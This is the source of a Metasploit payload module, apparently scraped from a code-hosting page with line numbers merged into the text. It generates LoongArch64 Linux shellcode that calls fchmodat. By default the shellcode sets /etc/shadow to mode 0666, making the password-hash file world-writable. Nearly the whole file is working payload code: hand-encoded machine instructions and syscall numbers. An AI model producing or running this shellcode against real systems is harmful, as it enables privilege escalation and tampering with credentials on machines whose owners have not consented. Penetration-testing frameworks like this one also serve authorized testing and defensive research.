Path: blob/master/modules/payloads/singles/linux/loongarch64/chmod.rb
59987 views
# frozen_string_literal: true12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67module MetasploitModule8CachedSize = 48910include Msf::Payload::Single11include Msf::Payload::Linux1213def initialize(info = {})14super(15merge_info(16info,17'Name' => 'Linux Chmod',18'Description' => 'Runs chmod on the specified file with specified mode.',19'Author' => 'bcoles',20'License' => MSF_LICENSE,21'Platform' => 'linux',22'Arch' => ARCH_LOONGARCH64,23'References' => [24['URL', 'https://man7.org/linux/man-pages/man2/fchmodat.2.html'],25['URL', 'https://github.com/bcoles/shellcode/blob/main/loongarch64/chmod/chmod.s'],26]27)28)29register_options([30OptString.new('FILE', [ true, 'Filename to chmod', '/etc/shadow' ]),31OptString.new('MODE', [ true, 'File mode (octal)', '0666' ], regex: /\A[0-7]+\z/),32])33end3435# @return [String] the full path of the file to be modified36def chmod_file_path37datastore['FILE'] || ''38end3940# @return [Integer] the desired mode for the file41def mode42(datastore['MODE'] || '0666').oct43end4445# @return [Integer] LoongArch64 instruction to load mode into $a2 register46# Uses ori $a2, $zero, <mode> instruction encoding47# For example: 0x0386d806 ; ori $a2, $zero, 0x1b6 ; loads 0o666 into $a248def chmod_instruction(mode)490x03800006 | ((mode & 0xfff) << 10)50end5152def generate(_opts = {})53raise ArgumentError, "chmod mode (#{mode}) is greater than maximum mode size (0xFFF)" if mode > 0xFFF5455shellcode = [560x02fe7004, # addi.d $a0, $zero, -100 # AT_FDCWD570x18000105, # pcaddi $a1, 8 # pointer to path58chmod_instruction(mode), # ori $a2, $zero, <mode>590x03800007, # ori $a3, $zero, 0 # flags600x0380d40b, # ori $a7, $zero, 53 # __NR_fchmodat610x002b0101, # syscall 0x101620x03800004, # ori $a0, $zero, 0 # exit code630x0381740b, # ori $a7, $zero, 93 # __NR_exit640x002b0101, # syscall 0x10165].pack('V*')66shellcode += chmod_file_path + "\x00".b6768# align our shellcode to 4 bytes69shellcode += "\x00".b while shellcode.bytesize % 4 != 07071super.to_s + shellcode72end73end747576